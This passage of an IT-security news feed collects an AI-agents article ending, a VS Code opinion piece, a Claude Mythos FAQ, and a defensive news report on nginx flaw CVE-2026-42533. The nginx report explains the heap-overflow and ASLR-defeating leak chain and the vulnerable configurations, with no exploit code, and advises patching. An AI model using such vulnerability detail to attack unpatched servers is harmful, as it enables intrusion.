<p class="wp-block-paragraph">A private equity firm I work with runs a scheduled agent every Monday at 6 a.m. that monitors news, filings and earnings activity across every portfolio company and produces a single PDF that lands in the deal partners’ inboxes before the weekly investment meeting. No one logs into a dashboard. The agent shows up, on time, with the same format every week, and the meeting now starts from a shared baseline rather than from whatever each partner happened to read over the weekend.</p>



<p class="wp-block-paragraph">A second example: A global manufacturer runs a nightly batch agent that ingests the day’s quality-control reports across plants, summarizes anomalies against a rolling baseline, and produces an end-of-shift handoff document for each site lead’s morning. The agent doesn’t flag emergencies, but it ensures that the slow-moving patterns no human would catch reading one shift’s data in isolation get surfaced.</p>



<h2 class="wp-block-heading">Bringing it together</h2>



<p class="wp-block-paragraph">None of these six archetypes is more advanced than the others or inherently better. But CIOs can have an edge by choosing the one that the operational problem actually calls for.</p>



<p class="wp-block-paragraph">Before you scope a single deployment, you should be able to look at a business problem and name its shape: Is this a question someone needs answered in the moment, or a process that should run the instant a trigger fires? Does the path need to be discovered, or is it known in advance and just waiting to be executed? Where, exactly, does human judgment have to stay in the loop, and where is it just friction?</p>



<p class="wp-block-paragraph">Going forward, CIOs should start treating the architecture decision as the first design choice. Everything downstream — adoption, governance, trust — only gets easier if the architecture is the right fit.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Dear Microsoft: Stop sticking your AI in my IDE]]></title>
<description><![CDATA[Dear Microsoft, 



I don’t want to have a love-hate relationship with Visual Studio Code, but you’re making it really hard.



Once upon a time, Visual Studio Code was just an editor. You configured it with add-ons to make it do whatever job you needed.



And that was great! I gravitated toward...]]></description>
<link>https://tsecurity.de/de/3680669/ai-nachrichten/dear-microsoft-stop-sticking-your-ai-in-my-ide/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680669/ai-nachrichten/dear-microsoft-stop-sticking-your-ai-in-my-ide/</guid>
<pubDate>Mon, 20 Jul 2026 11:04:14 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Dear Microsoft, </p>



<p class="wp-block-paragraph">I don’t want to have a love-hate relationship with <a href="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html" data-type="link" data-id="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html">Visual Studio Code</a>, but you’re making it really hard.</p>



<p class="wp-block-paragraph">Once upon a time, Visual Studio Code was just an editor. You configured it with add-ons to make it do whatever job you needed.</p>



<p class="wp-block-paragraph">And that was great! I gravitated towards using VS Code for multiple jobs in various languages. I could set up a <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html" data-type="link" data-id="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html">Python</a> workflow with extensions to add database-wrangling functionality. I could put together an environment for digital book publishing. I could even set up a project for screenwriting! (Yes, I have a screenplay in progress. A man can dream.)</p>



<p class="wp-block-paragraph">Now, it’s not like all this went away yesterday. I can still do all of the above. But <em>literally every new feature</em> in VS Code these days is all about agents, AI, and LLMs. It makes me wonder if there’s anyone left in the building who is working on the actual editor anymore.</p>



<p class="wp-block-paragraph">In the <a href="https://code.visualstudio.com/updates/v1_127">release notes for VS Code 1.127</a>, literally every single new feature <a href="https://code.visualstudio.com/updates/v1_127#_integrated-browser">save one</a> was about agents and AI. Ditto <a href="https://code.visualstudio.com/updates/v1_126">the version before that</a>. The <a href="https://code.visualstudio.com/updates/v1_125">version before that</a> was a little better, but the trend has been clear for some time now: Visual Studio Code is fast becoming an agent front end first, and everything else is a distant second.</p>



<p class="wp-block-paragraph">One argument I’ve heard is that VS Code is now a mature project. Because there just isn’t much left to be done to improve the core, you have directed your attention towards other features that will attract new users. And because agent-and-AI mania is still burning through the enterprise (and everyone’s budgets), agent-and-AI features are the order of the day.</p>



<p class="wp-block-paragraph">But do these features really need to be IDE-level features? Instead of drastically retooling VS Code to support agents, and making AI features native elements of the IDE, shouldn’t the real mission be to support VS Code’s native extensibility? After all, VS Code was built to be extended, and <a href="https://marketplace.visualstudio.com/search?target=VSCode&amp;category=AI&amp;sortBy=Installs">thousands of AI add-ons</a> — including <a href="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html" data-type="link" data-id="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html">GitHub Copilot</a> and <a href="https://marketplace.visualstudio.com/search?term=microsoft&amp;target=VSCode&amp;category=AI&amp;sortBy=Relevance">dozens of your own extensions</a> — already take advantage of that.</p>



<p class="wp-block-paragraph">Is all this really about what AI features VS Code can support natively, or is it more about making VS Code a default first point of contact for agents and AI — specifically <a href="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html" data-type="link" data-id="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html">GitHub Copilot</a>? Is this less about developer convenience, and more about guaranteeing — however obnoxiously — that agents and AI tools always have a central place in VS Code?</p>



<p class="wp-block-paragraph">Whatever the goal is, if you think every VS Code user wants an “<a href="https://www.infoworld.com/article/4193975/the-ide-is-dead-long-live-the-ade.html">agentic development environment</a>” instead of an IDE, I think you’re dead wrong.</p>



<p class="wp-block-paragraph">No doubt AI tools are here to stay. But I do think they will experience a reckoning. Frontier models that do everything and six more things on top of that are becoming of real use only to the big vendors who stick API tollbooths in front of them and construct wetland-devouring data centers the size of the Vegas strip to power them. The future looks more like smaller, locally-hosted models that handle highly specialized tasks and require far fewer resources to train, deploy, and serve. (Even you seem to be moving in that direction, with the <a href="https://blogs.windows.com/msedgedev/2026/06/02/expanding-on-device-ai-in-microsoft-edge-new-models-and-apis-for-the-web/">Aion on-device models</a>.)</p>



<p class="wp-block-paragraph">The deeper we go into that reckoning, the less it makes sense to have cart-before-the-horse arrangements like VS Code’s native AI features. How long before these features get hoisted back out of VS Code and moved to an add-on (albeit one we get nagged to install every time we fire up our IDE)? Sooner rather than later, I’d bet.</p>



<p class="wp-block-paragraph">Still, until that fine day comes, I’m resigning myself to the idea that my current favorite editor will be stuffed with more and more AI features, whether or not they even make sense in my use case, for a long, wearying time to come.</p>



<p class="wp-block-paragraph">At least I can <a href="https://code.visualstudio.com/docs/supporting/FAQ#_can-i-disable-ai-functionality-in-vs-code">turn all that stuff off</a>. For now.</p>



<p class="wp-block-paragraph">As I was writing this (in VS Code, no less), I got an update to VS Code 1.128. There’s one nice feature in there I could see myself using quite widely: <a href="https://code.visualstudio.com/updates/v1_128#_os-level-keyboard-shortcuts">the ability to register OS-level keyboard shortcuts</a>. But the rest? All AI, all agents, all the time.</p>
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<title><![CDATA[CVE-2026-42533 Exposes Critical Pre-Auth nginx RCE Flaw]]></title>
<description><![CDATA[A newly disclosed security flaw, CVE-2026-42533, has revealed a critical Pre-Auth nginx vulnerability that could allow attackers to achieve reliable RCE (remote code execution) without authentication. The issue affects nginx versions 0.9.6 through 1.30.3 (stable) and 1.31.2 (mainline), while patc...]]></description>
<link>https://tsecurity.de/de/3680443/it-security-nachrichten/cve-2026-42533-exposes-critical-pre-auth-nginx-rce-flaw/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680443/it-security-nachrichten/cve-2026-42533-exposes-critical-pre-auth-nginx-rce-flaw/</guid>
<pubDate>Mon, 20 Jul 2026 08:52:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1217" height="768" src="https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="CVE-2026-42533" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533.webp 1217w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-300x189.webp 300w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-1024x646.webp 1024w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-768x485.webp 768w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-600x379.webp 600w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-150x95.webp 150w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-750x473.webp 750w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-1140x719.webp 1140w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533.webp 1217w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-300x189.webp 300w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-1024x646.webp 1024w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-768x485.webp 768w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-600x379.webp 600w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-150x95.webp 150w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-750x473.webp 750w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-1140x719.webp 1140w" sizes="(max-width: 1217px) 100vw, 1217px" title="CVE-2026-42533 Exposes Critical Pre-Auth nginx RCE Flaw 1"></p><span data-contrast="auto">A newly disclosed security flaw, CVE-2026-42533, has revealed a critical Pre-Auth nginx vulnerability that could allow attackers to achieve reliable RCE (remote code execution) without authentication. The issue affects nginx versions 0.9.6 through 1.30.3 (stable) and 1.31.2 (mainline), while patched releases include 1.30.4 and 1.31.3. Affected NGINX Plus versions include R33-R36 (fixed in R36 P7) and 37.0.0.1-37.0.2.1 (fixed in 37.0.3.1).</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">According to the disclosure, the <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="29039">vulnerability</a> stems from a missing save-and-restore mechanism for PCRE capture state within nginx's two-pass script evaluation engine. The flaw enables attackers to trigger a heap buffer overflow with attacker-controlled content and length, while also exposing heap pointers through an information leak that can defeat Address Space Layout Randomization (ASLR). Chaining both primitives enables reliable Pre-Auth nginx RCE.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">CVE-2026-42533 Impacts Multiple Configurations</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The <a href="https://cyberstan.co.uk/nginx-rce/" target="_blank" rel="nofollow noopener">advisory warns</a> that deployments using map directives with regex patterns alongside regex capture sources, including location, server_name, rewrite, or if blocks, may be vulnerable. The issue depends on evaluation order, where regex capture references, such as $1 or named groups, are processed before a regex map variable.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Affected directives include proxy_set_header, proxy_method, proxy_pass, fastcgi_param, uwsgi_param, scgi_param, grpc_set_header, return, add_header, rewrite, set, root, alias, and access_log, among others. Both HTTP and stream modules are affected, and the <a href="https://thecyberexpress.com/default-credentials-polish-energy-grid-attack/" target="_blank" rel="noopener">vulnerable</a> capture and map variables do not need to exist within the same directive.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Technical Root Cause</span></b></h3>
<span data-contrast="auto">The researcher explained that nginx evaluates expressions in two stages: a length calculation (LEN) pass followed by a value (VALUE) pass. During execution, regex map evaluation overwrites shared capture <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29040">data</a> stored in the request object. As a result, the LEN pass and VALUE pass can calculate different capture sizes, causing either a heap overflow or an information leak depending on the relative capture lengths.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The disclosure states that attackers can control both the overflow size and leaked data using ordinary HTTP requests, including request URIs, headers, and bodies. No credentials, client certificates, or unusual configuration beyond the vulnerable pattern are required.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Testing reportedly achieved 10 out of 10 successful <a href="https://thecyberexpress.com/rcritical-ivanti-csa-vulnerabilities-exploited/" target="_blank" rel="noopener">exploitations</a> on Ubuntu 24.04 using glibc 2.39 with ASLR enabled.</span>
<h3 aria-level="2"><b><span data-contrast="none">Mitigation and Disclosure</span></b></h3>
<span data-contrast="auto">The researcher said recent fixes for CVE-2026-42945, CVE-2026-9256, CVE-2026-42055, and CVE-2026-48142 do not address CVE-2026-42533. Administrators are advised to upgrade immediately to nginx 1.30.4, 1.31.3, or the corresponding patched NGINX Plus releases.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Until systems are updated, defenders should audit configurations that combine regex captures with regex map variables in the same evaluation path. The researcher also released a static configuration scanner that identifies vulnerable configurations without exploiting them.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The initial report was submitted to F5 SIRT on May 17, 2026, with follow-up analyses covering additional variants, including cross-directive triggering and named capture clobbering. While a proof-of-concept exploit exists, the researcher said it will be withheld until users have sufficient time to apply patches, citing concerns over rapid exploitation following previous <a href="https://thecyberexpress.com/nginx-rift-cve-2026-42945-active-exploitation/" target="_blank" rel="noopener">nginx</a> vulnerability disclosures.</span><span data-ccp-props="{}"> </span>]]></content:encoded>
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<title><![CDATA[Claude Mythos FAQ: Capabilities, access, competitors, implications]]></title>
<description><![CDATA[1.
What is Claude Mythos?




Claude Mythos is an advanced AI model developed by Anthropic and is optimized for cybersecurity and healthcare applications.



Mythos 5 was originally released in April to a small group of vetted technology partners ahead of a planned wider rollout.



Anthropic est...]]></description>
<link>https://tsecurity.de/de/3680433/it-security-nachrichten/claude-mythos-faq-capabilities-access-competitors-implications/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680433/it-security-nachrichten/claude-mythos-faq-capabilities-access-competitors-implications/</guid>
<pubDate>Mon, 20 Jul 2026 08:38:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<div class="wp-block-idg-base-theme-faq-block faq-block">
<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">1.</span>
<h2 class="wp-block-heading">What is Claude Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Claude Mythos is an advanced AI model developed by Anthropic and is optimized for cybersecurity and healthcare applications.</p>



<p class="wp-block-paragraph"><a href="https://www.anthropic.com/claude/mythos">Mythos 5</a> was originally released in April to a small group of vetted technology partners ahead of a planned wider rollout.</p>



<p class="wp-block-paragraph">Anthropic established <strong>Project Glasswing</strong>, a consortium that gives limited, controlled access to Mythos to infrastructure providers, open-source developers, and major technology companies. The scheme was designed to enable defenders to find and resolve vulnerabilities faster than they could be identified by attackers, <a href="https://www.csoonline.com/article/4154222/6-ways-attackers-abuse-ai-services-to-hack-your-business.html">many of which are also beginning to rely heavily on AI tools</a>.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">2.</span>
<h2 class="wp-block-heading">What are the capabilities of Claude Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">The <a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">50 initial partners of Project Glasswing</a> were able to use Mythos to find more than <a href="https://www.csoonline.com/article/4176865/project-glasswing-has-uncovered-10000-vulnerabilities-anthropic.html">10,000 high- or critical-severity vulnerabilities</a> in every major operating system and <a href="https://www.csoonline.com/article/4162259/claude-mythos-signals-a-new-era-in-ai-driven-security-finding-271-flaws-in-firefox.html">every major web browser</a>.</p>



<p class="wp-block-paragraph">The model is identifying security flaws that had evaded even the most capable security researchers for years, such as a <a href="https://www.csoonline.com/article/4159617/behind-the-mythos-hype-glasswing-has-just-one-confirmed-cve.html">27-year-old bug in OpenBSD</a>. It has also proved capable of chaining multiple vulnerabilities together.</p>
</div>
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<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">3.</span>
<h2 class="wp-block-heading">How is Anthropic restricting access to Claude Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Anthropic said it was restricting the more widespread availability of the frontier AI model because its capabilities might easily be misused by attackers.</p>



<p class="wp-block-paragraph">In June the technology was released to an <a href="https://www.csoonline.com/article/4180265/anthropic-grants-project-glasswing-access-to-150-more-companies-with-a-focus-on-critical-infrastructure.html">additional 150 organizations</a>. All Mythos partners are required to accept a 30-day data retention policy for safety monitoring.</p>



<p class="wp-block-paragraph">After the availability of Mythos forced the <a href="https://www.csoonline.com/article/4166824/anthropic-mythos-spurs-white-house-to-weigh-pre-release-reviews-for-high-risk-ai-models.html">Trump administration to reconsider its “hands off” approach to AI oversight</a>, the US government applied export controls to Claude Fable 5 and Claude Mythos 5 on June 15. The restrictions — which were supposed to block access to foreign nationals both inside and outside the US — were lifted on June 30.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">4.</span>
<h2 class="wp-block-heading">What is Claude Fable?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">For broader use, Anthropic is offering <a href="https://www.csoonline.com/article/4183094/anthropic-releases-mythos-class-fable-5-model-with-safeguards-for-cyber-risks.html">Claude Fable 5</a>, which is based on the same underlying technology but comes with strict guardrails that limit operations in “risky” cybersecurity domains. Flagged queries are automatically routed to the earlier and less capable Opus 4.8 large language model (LLM) instead.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">5.</span>
<h2 class="wp-block-heading">How are Anthropic’s security vendor partners using access to Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Cisco, one of Anthropic’s Project Glasswing partners, <a href="https://blogs.cisco.com/ai/announcing-foundry-security-spec">open-sourced its Foundry Security Spec</a>, a model-agnostic “harness” for security testing, so that other vendors and enterprise security defenders could build similar workflows without starting from scratch.</p>



<p class="wp-block-paragraph">During a recent web conference, representatives from Cisco argued that defenders can use AI to identify, confirm, and resolve security issues at much greater speed and scale. Older vulnerability remediation models based on “find one issue, patch one issue” are no longer adequate because attackers are using AI moving to accelerate the path from vulnerability discovery to exploitation.</p>



<p class="wp-block-paragraph">Cisco has been using AI internally to scan 1.8 billion lines of code across its whole product portfolio.</p>



<p class="wp-block-paragraph">Smaller businesses do not need access to restricted AI models to improve security and more can be achieved in smaller shops by improving security fundamentals such as authentication, segmentation, zero trust, and prioritizing the remediation of actively exploited vulnerabilities, according to Cisco.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">6.</span>
<h2 class="wp-block-heading">Do other AI vendors offer anything comparable to Claude Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Mythos is the most prominent example of frontier AI models that can automate zero-day discovery at a scale and speed far beyond the capability of human teams.</p>



<p class="wp-block-paragraph">Several other vendors have frontier AI models aimed towards high-capability, security-oriented operations while others have capable open models that might easily be applied to cybersecurity research.</p>



<p class="wp-block-paragraph">As a result, Claude Mythos is far from the only game in town.</p>



<p class="wp-block-paragraph">For example, OpenAI’s GPT-5.4-Cyber (and <a href="https://openai.com/index/gpt-5-5-with-trusted-access-for-cyber/">GPT-5.5</a>) has applications in vulnerability analysis and discovery as well as malware analysis and threat modelling. Security vendors, enterprises, and researchers can gain access to the technology through OpenAI’s Trusted Access for Cyber (TAC) scheme.</p>



<p class="wp-block-paragraph">Chinese cybersecurity firm <a href="https://www.reuters.com/legal/litigation/chinas-360-says-it-has-developed-tools-match-anthropics-mythos-2026-06-24/">360 Security Technology has developed Tulongfeng</a>, described as a domestic answer to Anthropic’s Mythos.</p>



<p class="wp-block-paragraph">High performance open models — including DeepSeek V3.2 and Llama 4 — can be run privately on GPU infrastructure and applied to cybersecurity research. Fugu from Japanese vendor Sakana AI offers another option in this category.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">7.</span>
<h2 class="wp-block-heading">What do cybersecurity critics say about Claude Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Infosecurity critics note that while Claude Mythos is unquestionably advanced, marketing claims that it is reliably breaking production systems overstate its capabilities.</p>



<p class="wp-block-paragraph">Security professionals are complaining through <a href="https://www.youtube.com/watch?v=mx0CpTp3Q4Y">podcasts</a> and elsewhere about the overly sensitive guardrails in Claude Fable that downgrade to Opus 4.8 upon requests to summarize a security-related blog post or even spell the word “exploit” much less tackle any everyday information security task.</p>



<p class="wp-block-paragraph">Other experts warn that false positives are likely to be an issue for cybersecurity research using frontier AI models.</p>



<p class="wp-block-paragraph">The wider criticism is that finding more vulnerabilities faster fails to address the bigger problem of reliability fixing security bugs or non-technical attack paths such as social engineering.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">8.</span>
<h2 class="wp-block-heading">How should enterprise CISOs respond to the development of Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Western intelligence agencies that form the <a href="https://www.ncsc.gov.uk/sites/default/files/2026-06/Five-Eyes-cyber-security-agencies-statement-ai-shift.pdf">Fives Eyes alliance issued a statement warning that frontier AI models such as Claude Mythos</a> are “fundamentally transforming both offensive and defensive cyber capabilities” in a scale of months rather than years.</p>



<p class="wp-block-paragraph">“While Al will help us improve cyber defence over time, it also accelerates the speed, scale, and sophistication of cyber threats,” the group, which includes the US National Security Agency and the UK’s National Cyber Security Centre, warns.</p>



<p class="wp-block-paragraph">Enterprises need to be using AI to strengthen defenses as part of broader plans to improve cybersecurity resilience.</p>



<p class="wp-block-paragraph">AI-based systems capable of mapping realistic attack paths faster than any human adversary are fast becoming a pervasive threat, while most organizations are nowhere near ready for what that means for their threat models, one expert warns.</p>



<p class="wp-block-paragraph">“We now have AI systems that can map realistic attack paths across software, vendors, and critical infrastructure faster than human adversaries can catalog them,” says Joe Hubback, partner and CISO at consultancy Elixirr and former McKinsey Partner. “And as Mythos-class capabilities are prepared for broad commercial release, that’s no longer a niche research problem, it’s something every organization will have to factor into its threat model.”</p>



<p class="wp-block-paragraph">An <a href="https://labs.cloudsecurityalliance.org/wp-content/uploads/2026/04/mythosready-20260413.pdf">AI safety paper from the Cloud Security Alliance</a> warns that AI has significantly compressed the time between vulnerability discovery and exploitation, outpacing traditional patch-and-react security models. Organizations should brace for ongoing waves of AI-discovered vulnerabilities from Project Glasswing and other sources.</p>



<p class="wp-block-paragraph">“The capabilities seen in Mythos will quickly become more widely available, dramatically increasing the number and frequency of complex, novel attacks organizations will face,” it warns.</p>



<p class="wp-block-paragraph">Enterprise security defenders need to shift to a “Mythos-ready” approach built around continuous vulnerability operations, faster prioritization, and improved incident response.</p>
</div>
</div></div>
</div>



<p class="wp-block-paragraph"><strong>See also:</strong></p>



<ul class="wp-block-list">
<li><a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">What Anthropic Glasswing reveals about the future of vulnerability discovery</a></li>



<li><a href="https://www.csoonline.com/article/4158117/anthropics-mythos-signals-a-structural-cybersecurity-shift.html">Anthropic’s Mythos signals a structural cybersecurity shift</a></li>



<li><a href="https://www.csoonline.com/article/4180920/beware-the-son-of-mythos-security-experts-warn.html">Beware the ‘son of Mythos,’ security experts warn</a></li>



<li><a href="https://www.csoonline.com/article/4189600/mythos-is-a-signal-not-a-siren-what-frontier-ai-should-change-for-cisos.html">Mythos is a signal, not a siren: What frontier AI should change for CISOs</a></li>
</ul>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Nearly half of open-source AI projects never reach production]]></title>
<description><![CDATA[Open models are moving into production across more organizations, and the work of securing those deployments increasingly extends beyond the model weights. Mozilla’s The State of Open Source AI 2026 identifies deployment, governance and operational tooling as persistent obstacles as model capabil...]]></description>
<link>https://tsecurity.de/de/3680296/it-security-nachrichten/nearly-half-of-open-source-ai-projects-never-reach-production/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680296/it-security-nachrichten/nearly-half-of-open-source-ai-projects-never-reach-production/</guid>
<pubDate>Mon, 20 Jul 2026 07:54:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Open models are moving into production across more organizations, and the work of securing those deployments increasingly extends beyond the model weights. Mozilla’s The State of Open Source AI 2026 identifies deployment, governance and operational tooling as persistent obstacles as model capability improves. Open source AI in 2026, in four numbers. (Source: Mozilla) “Without investment in the infrastructure, tooling, and governance around open models, we risk locking in a system where only restrictive, closed AI … <a href="https://www.helpnetsecurity.com/2026/07/20/mozilla-open-source-ai-adoption-report/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/20/mozilla-open-source-ai-adoption-report/">Nearly half of open-source AI projects never reach production</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[Rust Will Help Linux Succeed and Makes Coding Fun, Says Greg Kroah-Hartman]]></title>
<description><![CDATA[ZDNet reports on June's Open Source Summit India 2026 in Mumbai, where Linux stable kernel maintainer Greg Kroah-Hartman gave a talk titled "Rust and Linux: How the Rust Language is Going to Help Linux Succeed."




 Kroah-Hartman said in his keynote that "the [Linux] kernel is moving toward Rust...]]></description>
<link>https://tsecurity.de/de/3680295/it-security-nachrichten/rust-will-help-linux-succeed-and-makes-coding-fun-says-greg-kroah-hartman/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680295/it-security-nachrichten/rust-will-help-linux-succeed-and-makes-coding-fun-says-greg-kroah-hartman/</guid>
<pubDate>Mon, 20 Jul 2026 07:54:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ZDNet reports on June's Open Source Summit India 2026 in Mumbai, where Linux stable kernel maintainer Greg Kroah-Hartman gave a talk titled "Rust and Linux: How the Rust Language is Going to Help Linux Succeed."




 Kroah-Hartman said in his keynote that "the [Linux] kernel is moving toward Rust. Git is moving toward Rust. Lots of projects are starting to move toward Rust."
 

He didn't always feel that way. Kroah-Hartman added, "A number of years ago, when a friend of mine said, 'Ah, you got to try this new language. It's called Rust.' I was like, 'What? No, C is great.' His friend continued, "'No, no, no! It makes programming fun again.' I'm like, 'Nah, programming is fun in C.' He was right. I should have done it then. Rust is actually fun. It makes programming fun. It takes a lot of stuff away from having to worry about the compiler, which can fix a lot of your problems for you, and it makes code a little bit better." 

So, Kroah-Hartman has moved from being a Rust skeptic to one of its strongest champions inside the kernel. He now regards Rust as a permanent part of Linux, not an experiment. His case is straightforward: Rust's ownership and type system can eliminate most of the "stupid little tiny things" that dominate kernel Common Vulnerabilities and Exposures (CVEs), while making life easier for overworked maintainers. "Rust," in short, "makes my life so much easier...." In India, he said Linux sees "about 13 CVEs a day" and has been running at "almost nine changes an hour" for a decade or more. Most of those vulnerabilities, he argued, are not exotic attacks but simple C mistakes — unchecked pointers, forgotten unlocks, and sloppy cleanup paths: "This is what we're fixing 13 times a day. Small, trivial, little bugs like this all the time.... I've seen every CVE the kernel has done in the past 25 years. I think 80% would be gone, just because they would be caught by Rust." The remaining 20% are the logic bugs he'd prefer to focus on...." 

 Moreover, Rust is becoming the default for new work in key subsystems. "New drivers for some subsystems are only going to be accepted in Rust...." he said. Binder, the Android IPC mechanism at the heart of billions of devices, now has parallel C and Rust implementations in the kernel. The C version "will go away soon," leaving the Rust version "as the bedrock of all Android devices going forward."<p></p><div class="share_submission">
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</div><p><a href="https://developers.slashdot.org/story/26/07/20/0417244/rust-will-help-linux-succeed-and-makes-coding-fun-says-greg-kroah-hartman?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Nearly half of open-source AI projects never reach production]]></title>
<description><![CDATA[Open models are moving into production across more organizations, and the work of securing those deployments increasingly extends beyond the model weights. Mozilla’s The State of Open Source AI 2026 identifies deployment, governance and operational tooling as persistent obstacles as…
Read more →
...]]></description>
<link>https://tsecurity.de/de/3680292/it-security-nachrichten/nearly-half-of-open-source-ai-projects-never-reach-production/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680292/it-security-nachrichten/nearly-half-of-open-source-ai-projects-never-reach-production/</guid>
<pubDate>Mon, 20 Jul 2026 07:54:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Open models are moving into production across more organizations, and the work of securing those deployments increasingly extends beyond the model weights. Mozilla’s The State of Open Source AI 2026 identifies deployment, governance and operational tooling as persistent obstacles as…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/nearly-half-of-open-source-ai-projects-never-reach-production/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/nearly-half-of-open-source-ai-projects-never-reach-production/">Nearly half of open-source AI projects never reach production</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[James Webb Space Telescope Discovers How Black Holes Feed Themselves]]></title>
